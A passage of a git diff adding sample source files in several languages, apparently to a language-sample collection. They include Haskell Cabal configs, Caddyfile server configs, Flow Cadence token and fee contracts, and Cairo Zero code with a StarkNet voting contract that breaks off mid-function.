+             byteorder ==1.0.4,
+             bytestring ==0.10.0.2,
+             bytestring-builder ==0.10.4.1.2,
+             case-insensitive ==1.1.0.2,
+             cereal ==0.4.1.1,
+             cipher-aes ==0.2.10,
+             cipher-aes128 ==0.6.4,
+             comonad ==4.2.5,
+             containers ==0.5.0.0,
+             contravariant ==1.3.1,
+             crypto-api ==0.13.2,
+             crypto-cipher-types ==0.0.9,
+             cryptohash ==0.11.6,
+             cryptohash-cryptoapi ==0.1.3,
+             data-default ==0.5.3,
+             data-default-class ==0.0.1,
+             data-default-instances-base ==0.0.1,
+             data-default-instances-containers ==0.0.1,
+             data-default-instances-dlist ==0.0.1,
+             data-default-instances-old-locale ==0.0.1,
+             deepseq ==1.3.0.1,
+             directory ==1.2.0.1,
+             distributive ==0.4.4,
+             dlist ==0.7.1.1,
+             easy-file ==0.2.0,
+             either ==4.3.3.2,
+             entropy ==0.3.6,
+             exceptions ==0.8.0.2,
+             fast-logger ==2.3.1,
+             filepath ==1.3.0.1,
+             free ==4.11,
+             ghc-prim ==0.3.0.0,
+             hashable ==1.2.1.0,
+             hslogger ==1.2.8,
+             http-date ==0.0.6,
+             http-types ==0.8.6,
+             integer-gmp ==0.5.0.0,
+             iproute ==1.3.2,
+             lifted-base ==0.2.3.6,
+             mmorph ==1.0.4,
+             monad-control ==1.0.0.4,
+             mtl ==2.2.1,
+             nats ==1,
+             network ==2.6.0.2,
+             network-uri ==2.6.0.1,
+             old-locale ==1.0.0.5,
+             old-time ==1.1.0.1,
+             optparse-applicative ==0.11.0.2,
+             parallel ==3.2.0.3,
+             parsec ==3.1.9,
+             prelude-extras ==0.4,
+             pretty ==1.1.1.0,
+             prettyclass ==1.0.0.0,
+             primitive ==0.5.0.1,
+             process ==1.1.0.2,
+             profunctors ==4.4.1,
+             random ==1.0.1.1,
+             regex-base ==0.93.2,
+             regex-compat ==0.95.1,
+             regex-posix ==0.95.2,
+             resourcet ==1.1.4.1,
+             rts ==1.0,
+             scientific ==0.2.0.2,
+             scotty ==0.9.1,
+             securemem ==0.1.7,
+             semigroupoids ==4.3,
+             semigroups ==0.16.2.2,
+             simple-sendfile ==0.2.18,
+             split ==0.2.2,
+             stm ==2.4.2,
+             streaming-commons ==0.1.10.0,
+             stringsearch ==0.3.6.6,
+             syb ==0.4.0,
+             system-fileio ==0.3.16.2,
+             system-filepath ==0.4.13.2,
+             tagged ==0.7.3,
+             template-haskell ==2.8.0.0,
+             temporary ==1.2.0.3,
+             text ==0.11.3.1,
+             time ==1.4.0.1,
+             transformers ==0.4.3.0,
+             transformers-base ==0.4.4,
+             transformers-compat ==0.4.0.4,
+             unix ==2.6.0.1,
+             unix-compat ==0.4.1.4,
+             unix-time ==0.3.5,
+             unordered-containers ==0.2.3.0,
+             vault ==0.3.0.4,
+             vector ==0.10.0.1,
+             void ==0.7,
+             wai ==3.0.2.3,
+             wai-extra ==3.0.5,
+             wai-logger ==2.2.4,
+             wai-middleware-static ==0.6.0.1,
+             warp ==3.0.10.1,
+             word8 ==0.1.2,
+             zlib ==0.5.4.1
diff --git a/samples/Cabal Config/filenames/cabal.project b/samples/Cabal Config/filenames/cabal.project
new file mode 100644
index 0000000000..f5e3067dec
--- /dev/null
+++ b/samples/Cabal Config/filenames/cabal.project	
@@ -0,0 +1,53 @@
+flags: -overloaded-methods -overloaded-signals -overloaded-properties
+
+optional-packages: *
+
+-- Needed for ios
+-- package reflex
+--  flags: -use-template-haskell
+-- package reflex-dom-core
+--  flags: -use-template-haskell
+-- package wai-websockets
+--  flags: -example
+-- package semigroupoids
+--  flags: -doctests
+-- package text
+--  flags: +integer-simple
+-- package scientific
+--  flags: +integer-simple
+-- package hashable
+--  flags: -integer-gmp
+package gi-atk
+ flags: -overloaded-methods -overloaded-signals -overloaded-properties
+package gi-cairo
+ flags: -overloaded-methods -overloaded-signals -overloaded-properties
+package gi-gdk
+ flags: -overloaded-methods -overloaded-signals -overloaded-properties
+package gi-gdkpixbuf
+ flags: -overloaded-methods -overloaded-signals -overloaded-properties
+package gi-gio
+ flags: -overloaded-methods -overloaded-signals -overloaded-properties
+package gi-glib
+ flags: -overloaded-methods -overloaded-signals -overloaded-properties
+package gi-gobject
+ flags: -overloaded-methods -overloaded-signals -overloaded-properties
+package gi-gtk
+ flags: -overloaded-methods -overloaded-signals -overloaded-properties
+package gi-gtk-hs
+ flags: -overloaded-methods -overloaded-signals -overloaded-properties
+package gi-gtkosxapplication
+ flags: -overloaded-methods -overloaded-signals -overloaded-properties
+package gi-gtksource
+ flags: -overloaded-methods -overloaded-signals -overloaded-properties
+package gi-javascriptcore
+ flags: -overloaded-methods -overloaded-signals -overloaded-properties
+package gi-pango
+ flags: -overloaded-methods -overloaded-signals -overloaded-properties
+package gi-pangocairo
+ flags: -overloaded-methods -overloaded-signals -overloaded-properties
+package gi-soup
+ flags: -overloaded-methods -overloaded-signals -overloaded-properties
+package gi-webkit
+ flags: -overloaded-methods -overloaded-signals -overloaded-properties
+package gi-webkit2
+ flags: -overloaded-methods -overloaded-signals -overloaded-properties
diff --git a/samples/Cabal Config/line2pdf.cabal b/samples/Cabal Config/line2pdf.cabal
new file mode 100644
index 0000000000..c657efb4aa
--- /dev/null
+++ b/samples/Cabal Config/line2pdf.cabal	
@@ -0,0 +1,35 @@
+name:               line2pdf
+version:            0.0.7
+copyright:          2008 Audrey Tang
+license:            BSD3
+license-file:       LICENSE
+author:             Audrey Tang <audreyt@audreyt.org>
+maintainer:         Audrey Tang <audreyt@audreyt.org>
+synopsis:           Simple command-line utility to convert text into PDF
+description:        Simple command-line utility to convert text into PDF
+stability:          experimental
+build-type:         Simple
+cabal-version:      >= 1.2
+category:           Text
+extra-source-files: README
+
+flag small_base
+    description: Choose the new smaller, split-up base package.
+
+library
+    exposed-modules: Text.LineToPDF Text.LineToPDF.Internals
+    extensions:      ImplicitParams, ExistentialQuantification
+    if flag(small_base)
+        build-depends: base >= 3, containers, bytestring
+    else
+        build-depends: base < 3
+    hs-source-dirs:     src
+
+executable line2pdf
+    main-is:        line2pdf.hs
+    extensions:     ImplicitParams, ExistentialQuantification
+    if flag(small_base)
+        build-depends: base >= 3, containers, bytestring
+    else
+        build-depends: base < 3
+    hs-source-dirs:     . src
diff --git a/samples/Caddyfile/acmeserver.Caddyfile b/samples/Caddyfile/acmeserver.Caddyfile
new file mode 100644
index 0000000000..4c0ae2d22f
--- /dev/null
+++ b/samples/Caddyfile/acmeserver.Caddyfile
@@ -0,0 +1,27 @@
+{
+	pki {
+		ca internal {
+			name "Internal"
+			root_cn "Internal Root Cert"
+			intermediate_cn "Internal Intermediate Cert"
+		}
+		ca internal-long-lived {
+			name "Long-lived"
+			root_cn "Internal Root Cert 2"
+			intermediate_cn "Internal Intermediate Cert 2"
+		}
+	}
+}
+
+acme-internal.example.com {
+	acme_server {
+		ca internal
+	}
+}
+
+acme-long-lived.example.com {
+	acme_server {
+		ca internal-long-lived
+		lifetime 7d
+	}
+}
diff --git a/samples/Caddyfile/reverseproxy.caddyfile b/samples/Caddyfile/reverseproxy.caddyfile
new file mode 100644
index 0000000000..8738344269
--- /dev/null
+++ b/samples/Caddyfile/reverseproxy.caddyfile
@@ -0,0 +1,63 @@
+:8884
+
+reverse_proxy 127.0.0.1:65535 {
+	@500 status 500
+	replace_status @500 400
+
+	@all status 2xx 3xx 4xx 5xx
+	replace_status @all {http.error.status_code}
+
+	replace_status {http.error.status_code}
+
+	@accel header X-Accel-Redirect *
+	handle_response @accel {
+		respond "Header X-Accel-Redirect!"
+	}
+
+	@another {
+		header X-Another *
+	}
+	handle_response @another {
+		respond "Header X-Another!"
+	}
+
+	@401 status 401
+	handle_response @401 {
+		respond "Status 401!"
+	}
+
+	handle_response {
+		respond "Any! This should be last in the JSON!"
+	}
+
+	@403 {
+		status 403
+	}
+	handle_response @403 {
+		respond "Status 403!"
+	}
+
+	@multi {
+		status 401 403
+		status 404
+		header Foo *
+		header Bar *
+	}
+	handle_response @multi {
+		respond "Headers Foo, Bar AND statuses 401, 403 and 404!"
+	}
+
+	@200 status 200
+	handle_response @200 {
+		copy_response_headers {
+			include Foo Bar
+		}
+		respond "Copied headers from the response"
+	}
+
+	@201 status 201
+	handle_response @201 {
+		header Foo "Copying the response"
+		copy_response 404
+	}
+}
diff --git a/samples/Cadence/FlowFees.cdc b/samples/Cadence/FlowFees.cdc
new file mode 100644
index 0000000000..f57f04b603
--- /dev/null
+++ b/samples/Cadence/FlowFees.cdc
@@ -0,0 +1,131 @@
+import FungibleToken from 0xFUNGIBLETOKENADDRESS
+import FlowToken from 0xFLOWTOKENADDRESS
+
+pub contract FlowFees {
+
+    // Event that is emitted when tokens are deposited to the fee vault
+    pub event TokensDeposited(amount: UFix64)
+
+    // Event that is emitted when tokens are withdrawn from the fee vault
+    pub event TokensWithdrawn(amount: UFix64)
+
+    // Event that is emitted when fees are deducted
+    pub event FeesDeducted(amount: UFix64, inclusionEffort: UFix64, executionEffort: UFix64)
+
+    // Event that is emitted when fee parameters change
+    pub event FeeParametersChanged(surgeFactor: UFix64, inclusionEffortCost: UFix64, executionEffortCost: UFix64)
+
+    // Private vault with public deposit function
+    access(self) var vault: @FlowToken.Vault
+
+    pub fun deposit(from: @FungibleToken.Vault) {
+        let from <- from as! @FlowToken.Vault
+        let balance = from.balance
+        self.vault.deposit(from: <-from)
+        emit TokensDeposited(amount: balance)
+    }
+
+    /// Get the balance of the Fees Vault
+    pub fun getFeeBalance(): UFix64 {
+        return self.vault.balance
+    }
+
+    pub resource Administrator {
+        // withdraw
+        //
+        // Allows the administrator to withdraw tokens from the fee vault
+        pub fun withdrawTokensFromFeeVault(amount: UFix64): @FungibleToken.Vault {
+            let vault <- FlowFees.vault.withdraw(amount: amount)
+            emit TokensWithdrawn(amount: amount)
+            return <-vault
+        }
+
+        /// Allows the administrator to change all the fee parameters at once
+        pub fun setFeeParameters(surgeFactor: UFix64, inclusionEffortCost: UFix64, executionEffortCost: UFix64) {
+            let newParameters = FeeParameters(surgeFactor: surgeFactor, inclusionEffortCost: inclusionEffortCost, executionEffortCost: executionEffortCost)
+            FlowFees.setFeeParameters(newParameters)
+        }
+
+        /// Allows the administrator to change the fee surge factor
+        pub fun setFeeSurgeFactor(_ surgeFactor: UFix64) {
+            let oldParameters = FlowFees.getFeeParameters()
+            let newParameters = FeeParameters(surgeFactor: surgeFactor, inclusionEffortCost: oldParameters.inclusionEffortCost, executionEffortCost: oldParameters.executionEffortCost)
+            FlowFees.setFeeParameters(newParameters)
+        }
+    }
+
+    /// A struct holding the fee parameters needed to calculate the fees
+    pub struct FeeParameters {
+        /// The surge factor is used to make transaction fees respond to high loads on the network
+        pub var surgeFactor: UFix64
+        /// The FLOW cost of one unit of inclusion effort. The FVM is responsible for metering inclusion effort.
+        pub var inclusionEffortCost: UFix64
+        /// The FLOW cost of one unit of execution effort. The FVM is responsible for metering execution effort.
+        pub var executionEffortCost: UFix64
+
+        init(surgeFactor: UFix64, inclusionEffortCost: UFix64, executionEffortCost: UFix64){
+            self.surgeFactor = surgeFactor
+            self.inclusionEffortCost = inclusionEffortCost
+            self.executionEffortCost = executionEffortCost
+        }
+    }
+
+    /// Called when a transaction is submitted to deduct the fee
+    /// from the AuthAccount that submitted it
+    pub fun deductTransactionFee(_ acct: AuthAccount, inclusionEffort: UFix64, executionEffort: UFix64) {
+        var feeAmount = self.computeFees(inclusionEffort: inclusionEffort, executionEffort: executionEffort)
+
+        if feeAmount == UFix64(0) {
+            // If there are no fees to deduct, do not continue, 
+            // so that there are no unnecessarily emitted events
+            return
+        }
+
+        let tokenVault = acct.borrow<&FlowToken.Vault>(from: /storage/flowTokenVault)
+            ?? panic("Unable to borrow reference to the default token vault")
+
+        
+        if feeAmount > tokenVault.balance {
+            // In the future this code path will never be reached, 
+            // as payers that are under account minimum balance will not have their transactions included in a collection
+            //
+            // Currently this is not used to fail the transaction (as that is the responsibility of the minimum account balance logic),
+            // But is used to reduce the balance of the vault to 0.0, if the vault has less available balance than the transaction fees. 
+            feeAmount = tokenVault.balance
+        }
+        
+        let feeVault <- tokenVault.withdraw(amount: feeAmount)
+        self.vault.deposit(from: <-feeVault)
+
+        // The fee calculation can be reconstructed using the data from this event and the FeeParameters at the block when the event happened
+        emit FeesDeducted(amount: feeAmount, inclusionEffort: inclusionEffort, executionEffort: executionEffort)
+    }
+
+    pub fun getFeeParameters(): FeeParameters {
+        return self.account.copy<FeeParameters>(from: /storage/FlowTxFeeParameters) ?? panic("Error getting tx fee parameters. They need to be initialized first!")
+    }
+
+    access(self) fun setFeeParameters(_ feeParameters: FeeParameters) {
+        // empty storage before writing new FeeParameters to it
+        self.account.load<FeeParameters>(from: /storage/FlowTxFeeParameters)
+        self.account.save(feeParameters,to: /storage/FlowTxFeeParameters)
+        emit FeeParametersChanged(surgeFactor: feeParameters.surgeFactor, inclusionEffortCost: feeParameters.inclusionEffortCost, executionEffortCost: feeParameters.executionEffortCost)
+    }
+
+    
+    // compute the transaction fees with the current fee parameters and the given inclusionEffort and executionEffort
+    pub fun computeFees(inclusionEffort: UFix64, executionEffort: UFix64): UFix64 {
+        let params = self.getFeeParameters()
+        
+        let totalFees = params.surgeFactor * ( inclusionEffort * params.inclusionEffortCost + executionEffort * params.executionEffortCost )
+        return totalFees
+    }
+
+    init(adminAccount: AuthAccount) {
+        // Create a new FlowToken Vault and save it in storage
+        self.vault <- FlowToken.createEmptyVault() as! @FlowToken.Vault
+
+        let admin <- create Administrator()
+        adminAccount.save(<-admin, to: /storage/flowFeesAdmin)
+    }
+}
\ No newline at end of file
diff --git a/samples/Cadence/FlowToken.cdc b/samples/Cadence/FlowToken.cdc
new file mode 100644
index 0000000000..9b93564c77
--- /dev/null
+++ b/samples/Cadence/FlowToken.cdc
@@ -0,0 +1,198 @@
+import FungibleToken from 0xFUNGIBLETOKENADDRESS
+
+pub contract FlowToken: FungibleToken {
+
+    // Total supply of Flow tokens in existence
+    pub var totalSupply: UFix64
+
+    // Event that is emitted when the contract is created
+    pub event TokensInitialized(initialSupply: UFix64)
+
+    // Event that is emitted when tokens are withdrawn from a Vault
+    pub event TokensWithdrawn(amount: UFix64, from: Address?)
+
+    // Event that is emitted when tokens are deposited to a Vault
+    pub event TokensDeposited(amount: UFix64, to: Address?)
+
+    // Event that is emitted when new tokens are minted
+    pub event TokensMinted(amount: UFix64)
+
+    // Event that is emitted when tokens are destroyed
+    pub event TokensBurned(amount: UFix64)
+
+    // Event that is emitted when a new minter resource is created
+    pub event MinterCreated(allowedAmount: UFix64)
+
+    // Event that is emitted when a new burner resource is created
+    pub event BurnerCreated()
+
+    // Vault
+    //
+    // Each user stores an instance of only the Vault in their storage
+    // The functions in the Vault and governed by the pre and post conditions
+    // in FungibleToken when they are called.
+    // The checks happen at runtime whenever a function is called.
+    //
+    // Resources can only be created in the context of the contract that they
+    // are defined in, so there is no way for a malicious user to create Vaults
+    // out of thin air. A special Minter resource needs to be defined to mint
+    // new tokens.
+    //
+    pub resource Vault: FungibleToken.Provider, FungibleToken.Receiver, FungibleToken.Balance {
+
+        // holds the balance of a users tokens
+        pub var balance: UFix64
+
+        // initialize the balance at resource creation time
+        init(balance: UFix64) {
+            self.balance = balance
+        }
+
+        // withdraw
+        //
+        // Function that takes an integer amount as an argument
+        // and withdraws that amount from the Vault.
+        // It creates a new temporary Vault that is used to hold
+        // the money that is being transferred. It returns the newly
+        // created Vault to the context that called so it can be deposited
+        // elsewhere.
+        //
+        pub fun withdraw(amount: UFix64): @FungibleToken.Vault {
+            self.balance = self.balance - amount
+            emit TokensWithdrawn(amount: amount, from: self.owner?.address)
+            return <-create Vault(balance: amount)
+        }
+
+        // deposit
+        //
+        // Function that takes a Vault object as an argument and adds
+        // its balance to the balance of the owners Vault.
+        // It is allowed to destroy the sent Vault because the Vault
+        // was a temporary holder of the tokens. The Vault's balance has
+        // been consumed and therefore can be destroyed.
+        pub fun deposit(from: @FungibleToken.Vault) {
+            let vault <- from as! @FlowToken.Vault
+            self.balance = self.balance + vault.balance
+            emit TokensDeposited(amount: vault.balance, to: self.owner?.address)
+            vault.balance = 0.0
+            destroy vault
+        }
+
+        destroy() {
+            FlowToken.totalSupply = FlowToken.totalSupply - self.balance
+        }
+    }
+
+    // createEmptyVault
+    //
+    // Function that creates a new Vault with a balance of zero
+    // and returns it to the calling context. A user must call this function
+    // and store the returned Vault in their storage in order to allow their
+    // account to be able to receive deposits of this token type.
+    //
+    pub fun createEmptyVault(): @FungibleToken.Vault {
+        return <-create Vault(balance: 0.0)
+    }
+
+    pub resource Administrator {
+        // createNewMinter
+        //
+        // Function that creates and returns a new minter resource
+        //
+        pub fun createNewMinter(allowedAmount: UFix64): @Minter {
+            emit MinterCreated(allowedAmount: allowedAmount)
+            return <-create Minter(allowedAmount: allowedAmount)
+        }
+
+        // createNewBurner
+        //
+        // Function that creates and returns a new burner resource
+        //
+        pub fun createNewBurner(): @Burner {
+            emit BurnerCreated()
+            return <-create Burner()
+        }
+    }
+
+    // Minter
+    //
+    // Resource object that token admin accounts can hold to mint new tokens.
+    //
+    pub resource Minter {
+
+        // the amount of tokens that the minter is allowed to mint
+        pub var allowedAmount: UFix64
+
+        // mintTokens
+        //
+        // Function that mints new tokens, adds them to the total supply,
+        // and returns them to the calling context.
+        //
+        pub fun mintTokens(amount: UFix64): @FlowToken.Vault {
+            pre {
+                amount > UFix64(0): "Amount minted must be greater than zero"
+                amount <= self.allowedAmount: "Amount minted must be less than the allowed amount"
+            }
+            FlowToken.totalSupply = FlowToken.totalSupply + amount
+            self.allowedAmount = self.allowedAmount - amount
+            emit TokensMinted(amount: amount)
+            return <-create Vault(balance: amount)
+        }
+
+        init(allowedAmount: UFix64) {
+            self.allowedAmount = allowedAmount
+        }
+    }
+
+    // Burner
+    //
+    // Resource object that token admin accounts can hold to burn tokens.
+    //
+    pub resource Burner {
+
+        // burnTokens
+        //
+        // Function that destroys a Vault instance, effectively burning the tokens.
+        //
+        // Note: the burned tokens are automatically subtracted from the
+        // total supply in the Vault destructor.
+        //
+        pub fun burnTokens(from: @FungibleToken.Vault) {
+            let vault <- from as! @FlowToken.Vault
+            let amount = vault.balance
+            destroy vault
+            emit TokensBurned(amount: amount)
+        }
+    }
+
+    init(adminAccount: AuthAccount) {
+        self.totalSupply = 0.0
+
+        // Create the Vault with the total supply of tokens and save it in storage
+        //
+        let vault <- create Vault(balance: self.totalSupply)
+        adminAccount.save(<-vault, to: /storage/flowTokenVault)
+
+        // Create a public capability to the stored Vault that only exposes
+        // the `deposit` method through the `Receiver` interface
+        //
+        adminAccount.link<&FlowToken.Vault{FungibleToken.Receiver}>(
+            /public/flowTokenReceiver,
+            target: /storage/flowTokenVault
+        )
+
+        // Create a public capability to the stored Vault that only exposes
+        // the `balance` field through the `Balance` interface
+        //
+        adminAccount.link<&FlowToken.Vault{FungibleToken.Balance}>(
+            /public/flowTokenBalance,
+            target: /storage/flowTokenVault
+        )
+
+        let admin <- create Administrator()
+        adminAccount.save(<-admin, to: /storage/flowTokenAdmin)
+
+        // Emit an event that shows that the contract was initialized
+        emit TokensInitialized(initialSupply: self.totalSupply)
+    }
+}
\ No newline at end of file
diff --git a/samples/Cadence/get_balance.cdc b/samples/Cadence/get_balance.cdc
new file mode 100644
index 0000000000..3c9891e785
--- /dev/null
+++ b/samples/Cadence/get_balance.cdc
@@ -0,0 +1,16 @@
+
+   
+// This script reads the balance field of an account's FlowToken Balance
+
+import FungibleToken from 0xFUNGIBLETOKENADDRESS
+import FlowToken from 0xFLOWTOKENADDRESS
+
+pub fun main(account: Address): UFix64 {
+
+    let vaultRef = getAccount(account)
+        .getCapability(/public/flowTokenBalance)
+        .borrow<&FlowToken.Vault{FungibleToken.Balance}>()
+        ?? panic("Could not borrow Balance reference to the Vault")
+
+    return vaultRef.balance
+}
\ No newline at end of file
diff --git a/samples/Cadence/mint_tokens.cdc b/samples/Cadence/mint_tokens.cdc
new file mode 100644
index 0000000000..5a3ad1a7b6
--- /dev/null
+++ b/samples/Cadence/mint_tokens.cdc
@@ -0,0 +1,27 @@
+import FungibleToken from 0xFUNGIBLETOKENADDRESS
+import FlowToken from 0xTOKENADDRESS
+
+transaction(recipient: Address, amount: UFix64) {
+    let tokenAdmin: &FlowToken.Administrator
+    let tokenReceiver: &{FungibleToken.Receiver}
+
+    prepare(signer: AuthAccount) {
+        self.tokenAdmin = signer
+            .borrow<&FlowToken.Administrator>(from: /storage/flowTokenAdmin)
+            ?? panic("Signer is not the token admin")
+
+        self.tokenReceiver = getAccount(recipient)
+            .getCapability(/public/flowTokenReceiver)
+            .borrow<&{FungibleToken.Receiver}>()
+            ?? panic("Unable to borrow receiver reference")
+    }
+
+    execute {
+        let minter <- self.tokenAdmin.createNewMinter(allowedAmount: amount)
+        let mintedVault <- minter.mintTokens(amount: amount)
+
+        self.tokenReceiver.deposit(from: <-mintedVault)
+
+        destroy minter
+    }
+}
\ No newline at end of file
diff --git a/samples/Cadence/read_profile.cdc b/samples/Cadence/read_profile.cdc
new file mode 100644
index 0000000000..cb213e4b42
--- /dev/null
+++ b/samples/Cadence/read_profile.cdc
@@ -0,0 +1,5 @@
+import Profile from 0xProfile
+
+pub fun main(address: Address): Profile.ReadOnly? {
+    return Profile.read(address)
+}
\ No newline at end of file
diff --git a/samples/Cadence/setup_account.cdc b/samples/Cadence/setup_account.cdc
new file mode 100644
index 0000000000..9283f33361
--- /dev/null
+++ b/samples/Cadence/setup_account.cdc
@@ -0,0 +1,32 @@
+
+// This transaction is a template for a transaction
+// to add a Vault resource to their account
+// so that they can use the flowToken
+
+import FungibleToken from 0xFUNGIBLETOKENADDRESS
+import FlowToken from 0xTOKENADDRESS
+
+transaction {
+
+    prepare(signer: AuthAccount) {
+
+        if signer.borrow<&FlowToken.Vault>(from: /storage/flowTokenVault) == nil {
+            // Create a new flowToken Vault and put it in storage
+            signer.save(<-FlowToken.createEmptyVault(), to: /storage/flowTokenVault)
+
+            // Create a public capability to the Vault that only exposes
+            // the deposit function through the Receiver interface
+            signer.link<&FlowToken.Vault{FungibleToken.Receiver}>(
+                /public/flowTokenReceiver,
+                target: /storage/flowTokenVault
+            )
+
+            // Create a public capability to the Vault that only exposes
+            // the balance field through the Balance interface
+            signer.link<&FlowToken.Vault{FungibleToken.Balance}>(
+                /public/flowTokenBalance,
+                target: /storage/flowTokenVault
+            )
+        }
+    }
+}
\ No newline at end of file
diff --git a/samples/Cairo Zero/casm.cairo b/samples/Cairo Zero/casm.cairo
new file mode 100644
index 0000000000..31cc648f98
--- /dev/null
+++ b/samples/Cairo Zero/casm.cairo	
@@ -0,0 +1,8 @@
+jmp rel 4 if [fp + -3] != 0;
+[ap + 0] = [fp + -5], ap++;
+ret;
+[ap + 0] = [fp + -4], ap++;
+[ap + 0] = [fp + -5] + [fp + -4], ap++;
+[fp + -3] = [ap + 0] + 1, ap++;
+call rel -8;
+ret;
diff --git a/samples/Cairo Zero/concat_arr.cairo b/samples/Cairo Zero/concat_arr.cairo
new file mode 100644
index 0000000000..0d0436a70d
--- /dev/null
+++ b/samples/Cairo Zero/concat_arr.cairo	
@@ -0,0 +1,17 @@
+from starkware.cairo.common.memcpy import memcpy
+from starkware.cairo.common.alloc import alloc
+
+func concat_arr{range_check_ptr}(
+    acc: felt*,
+    acc_len: felt,
+    arr: felt*,
+    arr_len: felt
+    ) -> (res: felt*, res_len: felt):
+    alloc_locals
+    let (local acc_cpy: felt*) = alloc()
+
+    memcpy(acc_cpy, acc, acc_len)
+
+    memcpy(acc_cpy + acc_len, arr, arr_len)
+    return (acc_cpy, acc_len + arr_len)
+end
diff --git a/samples/Cairo Zero/contract.cairo b/samples/Cairo Zero/contract.cairo
new file mode 100644
index 0000000000..0c163bff2f
--- /dev/null
+++ b/samples/Cairo Zero/contract.cairo	
@@ -0,0 +1,395 @@
+# Declare this file as a StarkNet contract and set the required
+# builtins.
+%lang starknet
+%builtins pedersen range_check ecdsa
+
+from starkware.cairo.common.cairo_builtins import HashBuiltin
+from starkware.cairo.common.hash import hash2
+from starkware.cairo.common.math import assert_lt_felt
+from starkware.starknet.common.storage import Storage
+from starkware.cairo.common.cairo_builtins import SignatureBuiltin
+from starkware.cairo.common.signature import verify_ecdsa_signature
+from starkware.cairo.common.alloc import alloc
+
+# Phases:
+#   * 0 - coordinator initializes
+#   * 1 - users send drop commitments and coordinator disables sending
+#   * 2 - coordinator submits key
+#   * 3 - users cast votes
+#   * 4 - voting period ends
+
+@storage_var
+func coordinator() -> (res : felt):
+end
+
+@storage_var
+func phase() -> (res : felt):
+end
+
+@storage_var
+func ayes() -> (res : felt):
+end
+
+@storage_var
+func nays() -> (res : felt):
+end
+
+@storage_var
+func commitments(user : felt) -> (res : felt):
+end
+
+@storage_var
+func voprf_key() -> (res : felt):
+end
+
+@storage_var
+func paid(user : felt) -> (res : felt):
+end
+
+@storage_var
+func voprf_key_bits(bit : felt) -> (res : felt):
+end
+
+@external
+func initialize{storage_ptr : Storage*, pedersen_ptr : HashBuiltin*, range_check_ptr}(user : felt):
+    let (current_phase) = phase.read()
+    assert current_phase = 0
+    phase.write(1)
+    coordinator.write(user)
+    return ()
+end
+
+@external
+func commit{
+        storage_ptr : Storage*, pedersen_ptr : HashBuiltin*, ecdsa_ptr : SignatureBuiltin*,
+        range_check_ptr}(user : felt, commitment : felt, sig_r : felt, sig_s : felt):
+    let (current_phase) = phase.read()
+    assert current_phase = 1
+    verify_ecdsa_signature(
+        message=commitment, public_key=user, signature_r=sig_r, signature_s=sig_s)
+    commitments.write(user, commitment)
+    return ()
+end
+
+@external
+func end_commitment_phase{
+        storage_ptr : Storage*, pedersen_ptr : HashBuiltin*, ecdsa_ptr : SignatureBuiltin*,
+        range_check_ptr}(sig_r : felt, sig_s : felt):
+    let (current_phase) = phase.read()
+    assert current_phase = 1
+    let (the_coordinator) = coordinator.read()
+    verify_ecdsa_signature(
+        message=current_phase, public_key=the_coordinator, signature_r=sig_r, signature_s=sig_s)
+    phase.write(2)
+    return ()
+end
+
+@external
+func submit_key{
+        storage_ptr : Storage*, pedersen_ptr : HashBuiltin*, ecdsa_ptr : SignatureBuiltin*,
+        range_check_ptr}(key : felt, sig_r : felt, sig_s : felt):
+    let (current_phase) = phase.read()
+    assert current_phase = 2
+    let (the_coordinator) = coordinator.read()
+    verify_ecdsa_signature(
+        message=key, public_key=the_coordinator, signature_r=sig_r, signature_s=sig_s)
+    phase.write(3)
+    voprf_key.write(key)
+    return ()
+end
+
+@external
+func end_voting_phase{
+        storage_ptr : Storage*, pedersen_ptr : HashBuiltin*, ecdsa_ptr : SignatureBuiltin*,
+        range_check_ptr}(sig_r : felt, sig_s : felt):
+    let (current_phase) = phase.read()
+    assert current_phase = 3
+    let (the_coordinator) = coordinator.read()
+    verify_ecdsa_signature(
+        message=current_phase, public_key=the_coordinator, signature_r=sig_r, signature_s=sig_s)
+    phase.write(4)
+    return ()
+end
+
+func double_and_add_2_128(arr : felt*, index : felt) -> (res : felt):
+    if index == 128:
+        return (0)
+    else:
+        assert arr[index] * (1 - arr[index]) = 0
+        let (res) = double_and_add_2_128(arr, index + 1)
+        return (arr[index] + 2 * res)
+    end
+end
+
+func double_ec(x_in, y_in) -> (x_out : felt, y_out : felt):
+    let lambda = (3 * x_in * x_in + 1) / (2 * y_in)
+    let x = lambda * lambda - 2 * x_in
+    let y = lambda * (x_in - x) - y_in
+    return (x, y)
+end
+
+func double_and_add_ec(
+        x_in : felt, y_in : felt, x_base : felt, y_base : felt, infinity_in : felt, arr : felt*,
+        index : felt) -> (res : felt):
+    alloc_locals
+    local x
+    local y
+    local infinity
+    if arr[index] == 1:
+        if x_base == x_in:
+            if y_base == y_in:
+                infinity = 0
+                let (x_ret, y_ret) = double_ec(x_in, y_in)
+                x = x_ret
+                y = y_ret
+            else:
+                infinity = 1
+                x = 0
+                y = 0
+            end
+        else:
+            if infinity_in == 1:
+                infinity = 0
+                x = x_base
+                y = y_base
+            else:
+                infinity = 0
+                local lambda = (y_base - y_in) / (x_base - x_in)
+                local x_tmp = lambda * lambda - x_in - x_base
+                local y_tmp = lambda * (x_in - x_tmp) - y_in
+                x = x_tmp
+                y = y_tmp
+            end
+        end
+    else:
+        infinity = infinity_in
+        x = x_in
+        y = y_in
+    end
+    if index == 0:
+        return (x)
+    else:
+        local x_double
+        local y_double
+        if infinity == 0:
+            let (x_ret, y_ret) = double_ec(x, y)
+            x_double = x_ret
+            y_double = y_ret
+        else:
+            x_double = 0
+            y_double = 0
+        end
+        return double_and_add_ec(x_double, y_double, x_base, y_base, infinity, arr, index - 1)
+    end
+end
+
+@external
+func cast_vote{
+        storage_ptr : Storage*, pedersen_ptr : HashBuiltin*, range_check_ptr,
+        ecdsa_ptr : SignatureBuiltin*}(
+        user : felt, vote : felt, t_hash_y : felt, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10,
+        a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28,
+        a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46,
+        a47, a48, a49, a50, a51, a52, a53, a54, a55, a56, a57, a58, a59, a60, a61, a62, a63, a64,
+        a65, a66, a67, a68, a69, a70, a71, a72, a73, a74, a75, a76, a77, a78, a79, a80, a81, a82,
+        a83, a84, a85, a86, a87, a88, a89, a90, a91, a92, a93, a94, a95, a96, a97, a98, a99, a100,
+        a101, a102, a103, a104, a105, a106, a107, a108, a109, a110, a111, a112, a113, a114, a115,
+        a116, a117, a118, a119, a120, a121, a122, a123, a124, a125, a126, a127):
+    alloc_locals
+
+    let (current_phase) = phase.read()
+    assert current_phase = 3
+
